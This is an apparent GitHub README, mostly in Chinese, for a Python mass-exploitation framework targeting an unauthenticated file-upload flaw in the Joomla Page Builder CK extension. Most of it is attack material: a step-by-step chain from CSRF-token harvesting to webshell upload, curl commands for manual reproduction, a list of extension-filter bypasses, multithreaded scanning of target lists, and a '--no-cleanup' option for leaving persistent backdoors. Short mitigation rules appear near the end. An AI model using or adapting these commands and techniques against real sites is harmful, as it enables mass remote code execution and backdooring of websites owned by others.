shinthink/pbck-exploit

GitHub: shinthink/pbck-exploit

针对 Joomla Page Builder CK 未授权文件上传漏洞(CVE-2026-56290)的批量利用与 RCE 验证框架。

Stars: 1 | Forks: 0

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK Exploit

Python CVE License

Discovery CSRF RCE Cleanup Live

Joomla Page Builder CK 批量利用与验证框架

未认证任意文件上传 → 远程代码执行


## 📑 目录 - [漏洞概述](#-vulnerability-overview) - [受影响版本](#-affected-versions) - [功能特性](#-features) - [安装说明](#-installation) - [用法](#-usage) - [概念验证](#-proof-of-concept) - [技术深度剖析](#-technical-deep-dive) - [检测方法论](#-detection-methodology) - [防御与缓解措施](#-defense--mitigation) - [免责声明](#-disclaimer) - [参考资料](#-references) ## 🔴 漏洞概述 **CVE-2026-56290** 是 **Page Builder CK** (`com_pagebuilderck`) 中的一个严重漏洞,这是一款流行的 Joomla 页面构建器扩展。`browse.ajaxAddPicture` 控制器方法接受未经身份验证的文件上传,并且**目标路径可由用户控制**,允许攻击者将任意 PHP 文件写入 Web 可访问的目录中。 ### 根本原因 ``` // browse.php controller — NO authentication check function ajaxAddPicture() { $input = JFactory::getApplication()->input; $file = $input->files->get('file', null); // ← user-controlled file $path = trim($input->get('path', '')); // ← user-controlled path, only trim()! // ... uploads file to $path without validating the destination } ``` `path` 参数**仅经过 `trim()` 清理** —— 没有白名单限制,没有目录遍历检查,也没有身份验证关卡。由于任何 Joomla 页面上的 CSRF token 都是公开可访问的,攻击者可以将 PHP webshell 远程上传到任何可写的目录中。 ### 影响 | 向量 | 严重程度 | 影响 | |--------|----------|--------| | 未授权文件上传 | **9.8 (严重)** | 任意 PHP 代码执行 | | CSRF token 收集 | **5.3 (中等)** | 促成上传攻击链 | | 信息泄露 | **5.3 (中等)** | 扩展版本指纹识别 | ### 攻击链 ``` 1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1") 2. POST file upload → task=browse.ajaxAddPicture&{token}=1 3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php 4. GET shell URL → code executes, RCE confirmed 5. POST f=@file to shell → upload additional tools 6. GET ?cleanup=1 → shell self-destructs ``` ## 🟠 受影响版本 | Page Builder CK 版本 | 状态 | 备注 | |:---|:---:|:---| | **3.1.1 及以下** | 🔴 **存在漏洞** | 已确认未授权上传 | | **3.4.10 及以下** | 🔴 **存在漏洞** | 根据分析扩展的范围 | | **3.5.10 及以下** | 🔴 **存在漏洞** | 可能存在部分已修复的变体 | | > 3.5.10 | 🟢 可能已修复 | 通过 manifest XML 进行验证 | ## ✨ 功能特性
### 🔍 侦察 - **Joomla 检测** — 两阶段:HTML 指纹 + 管理面板探测 - **PBCK 检测** — 直接路径探测 + HTML 模式匹配 - **版本提取** — Manifest XML 解析 + HTML regex 回退 - **CSRF token 收集** — 多页面 token 提取(首页、登录、注册、后台管理) - **Endpoint 暴力破解** — 包含 1000+ 个 task/param/path 组合,支持基于时间的发现机制 ### 💀 利用 - **40+ 种扩展名绕过** — 大小写混用、数字变体、双扩展名、Windows 技巧 - **20+ 种目标路径** — 扩展目录、Joomla 可写目录、目录遍历路径 - **Webshell 验证** — 基于 token 确认 PHP 已执行 - **自动清理** — Webshell 在验证后自毁 (`?cleanup=1`) - **实时 TXT 输出** — 将线程安全的实时结果写入文件 - **JSON 报告** — 包含每个目标完整详细信息的结构化报告
## 📦 安装说明 ``` # 克隆仓库 git clone https://github.com/shinthink/pbck-exploit.git cd pbck-exploit # 安装依赖 pip install -r requirements.txt # 验证 python cve_2026_56290.py --help ``` ### 前置条件 ``` requests>=2.28.0 urllib3>=1.26.0 ``` ## 📖 用法 ### 命令行参数 ``` CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator -t, --target Single target URL -f, --file File with target URLs (one per line, # for comments) -o, --output Live TXT output file (default: cve-2026-56290_live.txt) --json JSON report file path (default: cve-2026-56290_report.json) --threads Concurrent workers (default: 20) --timeout Request timeout in seconds (default: 15) --no-cleanup Leave shells on target (persistent backdoor) -v, --verbose Verbose endpoint discovery output --known-endpoint Skip discovery: task,file_param,folder_param ``` ### 基本用法 ``` # 单一 target python cve_2026_56290.py -t https://target.com # 从文件进行 Mass scan python cve_2026_56290.py -f targets.txt # 自定义 output + verbose python cve_2026_56290.py -f targets.txt -o results.txt -v # 保留 shells(持久性后门) python cve_2026_56290.py -t https://target.com --no-cleanup # 在已知 endpoint 的情况下跳过 discovery python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path" ``` ### 目标文件格式 ``` # targets.txt target-one.com https://target-two.com/subdir 192.168.10.100 # 注释和空行将被忽略 ``` ## 🧪 概念验证 ### 场景 1:带实时输出的批量扫描 ``` $ python cve_2026_56290.py -f targets.txt -o live_results.txt ``` ``` ──────────────────────────────────────────────────────────── CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes Live TXT: live_results.txt 2026-07-04 15:30:00 ──────────────────────────────────────────────────────────── ✅ https://target-vuln.com [rce_confirmed] 12.4s PBCK: 3.4.7 [VULN] RCE : ext=php | path=media/com_pagebuilderck/gfonts/ Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php Usage: POST f=@file | ?cleanup=1 EP : task=browse.ajaxAddPicture | file=file | folder=path 🛡️ https://target-patched.com [patched] 3.2s ✅ https://target-vuln2.com [rce_confirmed] 15.1s PBCK: 3.1.0 [VULN] RCE : ext=pHP | path=media/com_pagebuilderck/fonts/ Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP Usage: POST f=@file | ?cleanup=1 EP : task=browse.ajaxAddPicture | file=file | folder=path ================================================== SCAN SUMMARY ================================================== Total : 5 ✅ RCE Confirmed : 2 ⚠️ RCE Failed : 1 🛡️ Patched : 1 🔍 Need Diff : 0 ❌ Not Joomla : 0 ⏭️ No Component : 1 💥 Errors : 0 ================================================== ``` ### 场景 2:手动复现 (curl + Python) **步骤 1 — 获取 CSRF token** ``` curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"' # name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1" ``` **步骤 2 — 上传 PHP webshell** ``` TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" curl -sk \ -F "file=@shell.php;type=application/x-php" \ -F "path=media/com_pagebuilderck/gfonts/" \ "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1" ``` **步骤 3 — 验证 RCE** ``` curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php' # → PHP shell output,确认代码执行 ``` ### 场景 3:PHP Webshell Payload 扫描器部署了一个**自包含的上传型 webshell** — 无需 `exec()`、`system()` 或 `eval()`: ```
';

?>
``` **Webshell 功能:** - 📤 通过 POST `f=@file` 上传附加文件 - 🧹 通过 `?cleanup=1` 自毁 - 🔑 基于 token 的验证(扫描器验证输出中的唯一 token) ## 🔬 技术深度剖析 ### 架构 ``` ┌─────────────────────────────────────────────────────────┐ │ PBCK-EXPLOIT │ ├──────────────────┬──────────────────────────────────────┤ │ RECON PHASE │ EXPLOIT PHASE │ │ │ │ │ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │ │ │ Joomla │ │ │ Endpoint │ │ Extension │ │ │ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │ │ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │ │ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │ │ │ │ │ │ │ │ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │ │ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │ │ │ Detection │ │ │ Harvester │ │ Deployment │ │ │ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │ │ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │ │ │ │ │ │ │ │ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │ │ │ Version │ │ │ │ Validation │ │ │ │ Check │ │ │ │ + Cleanup │ │ │ └────────────┘ │ │ └──────────────┘ │ └──────────────────┴──────────────────────────────────────┘ ``` ### Endpoint 发现策略 扫描器采用**分层暴力破解**方法,并为每个目标设置了时间预算 (15秒): | 层级 | 任务 | 文件参数 | 文件夹参数 | 目标路径 | 总组合数 | |:---|:---|:---|:---|:---|:---| | **第一层** (已确认) | `browse.ajaxAddPicture` + 3 个其他任务 | `file`, `Filedata` | `path`, `folder`, `dir` | 前 4 个 PBCK 目录 | 96 | | **第二层** (全网格) | 12 个任务 | 4 个参数 | 5 个参数 | 20+ 条路径 | 4,800+ | 每个组合:上传 `.txt` 探针 → 通过 GET 验证 → 成功则匹配。一旦确认立即返回。 ### 扩展名绕过原理 CKFile::makeSafe() 在某些配置下会阻止 `.php`。绕过策略如下: ``` Tier 1: Fast php, PHP, pht, phar ↓ (if blocked) Tier 2: Case juggling Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ... ↓ (if blocked) Tier 3: Alternative handlers php3, php4, php5, php6, php7, php8, phtml, shtml, inc ↓ (if blocked) Tier 4: Double extensions php.jpg, jpg.php, php.png, php.gif, php.txt ↓ (if blocked) Tier 5: Windows tricks php., PHP., php. , php.SWF ``` ### CSRF token 收集 Joomla 的 CSRF token 嵌入在**每个页面**中 —— 首页、登录、注册、联系表单、后台管理: ``` CSRF_PAGES = [ "", # homepage "/index.php?option=com_users&view=login", # login "/index.php?option=com_users&view=registration", # registration "/index.php?option=com_contact&view=contact&id=1", # contact "/administrator/index.php", # admin login ] ``` 模式 A — HTML 隐藏输入框: `` 模式 B — JSON 配置: `"csrf.token":""` ## 🔍 检测方法论 ### Joomla 检测 (两阶段) **第一阶段 — HTML 指纹(快速、精确)** - 包含 "Joomla!" 的 Generator meta 标签 - 结构性元素:``、`joomla-script-options`、`"csrf.token"` - 路径模式:`/components/com_`、`/modules/mod_`、`/plugins/system/` - Session cookie 分析 **第二阶段 — 管理面板探测(回退)** - 抓取 `/administrator/` 页面 - 检查 Joomla 特有的后台管理标记:`name="username"`、`mod-login-`、`administrator/templates/` ### PBCK 检测 (三层) **第一层 — HTML 强特征** ``` com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck ``` **第二层 — HTML 弱特征确认** ``` pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js) ``` **第三层 — 直接文件探测**(捕获 PBCK 不在首页的安装实例) ``` /media/com_pagebuilderck/css/pagebuilderck.css /media/com_pagebuilderck/js/pagebuilderck.js /administrator/manifests/files/com_pagebuilderck.xml ``` ## 🛡️ 防御与缓解措施 ### 1. 立即升级 ``` # 将 Page Builder CK 更新至最新的修补版本 # 检查:https://extensions.joomla.org/extension/page-builder-ck/ ``` ### 2. 封锁上传 Endpoint ``` # Nginx — 阻止对 upload controller 的未经身份验证的访问 location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" { deny all; } ``` ``` # Apache/.htaccess RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC] RewriteRule ^ - [F] ``` ### 3. 加固可写目录中的 PHP 执行权限 ``` # media/ 中的 .htaccess — 禁用 PHP 执行 Require all denied ``` ### 4. 审计您的主机群 ``` # 扫描您自己的基础设施 python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt ``` ## ⚠️ 免责声明 ## 📚 参考资料 | 资源 | 链接 | |:---|:---| | NVD 条目 | [CVE-2026-56290](https://nvd.nist.gov/vuln/detail/CVE-2026-56290) | | Joomla 安全 | [developer.joomla.org/security](https://developer.joomla.org/security.html) | | Page Builder CK | [extensions.joomla.org](https://extensions.joomla.org/extension/page-builder-ck/) | | OWASP 文件上传 | [无限制文件上传](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload) |

⚡ 专为安全研究社区精心打造 ⚡

Joomla® 是 Open Source Matters, Inc. 的注册商标。
本项目不附属于 Joomla、Open Source Matters 或 Page Builder CK,也未获得其认可。

标签:CISA项目, Joomla, Python, 子域名变形, 批量攻击, 无后门, 编程工具, 网络信息收集, 远程代码执行, 逆向工具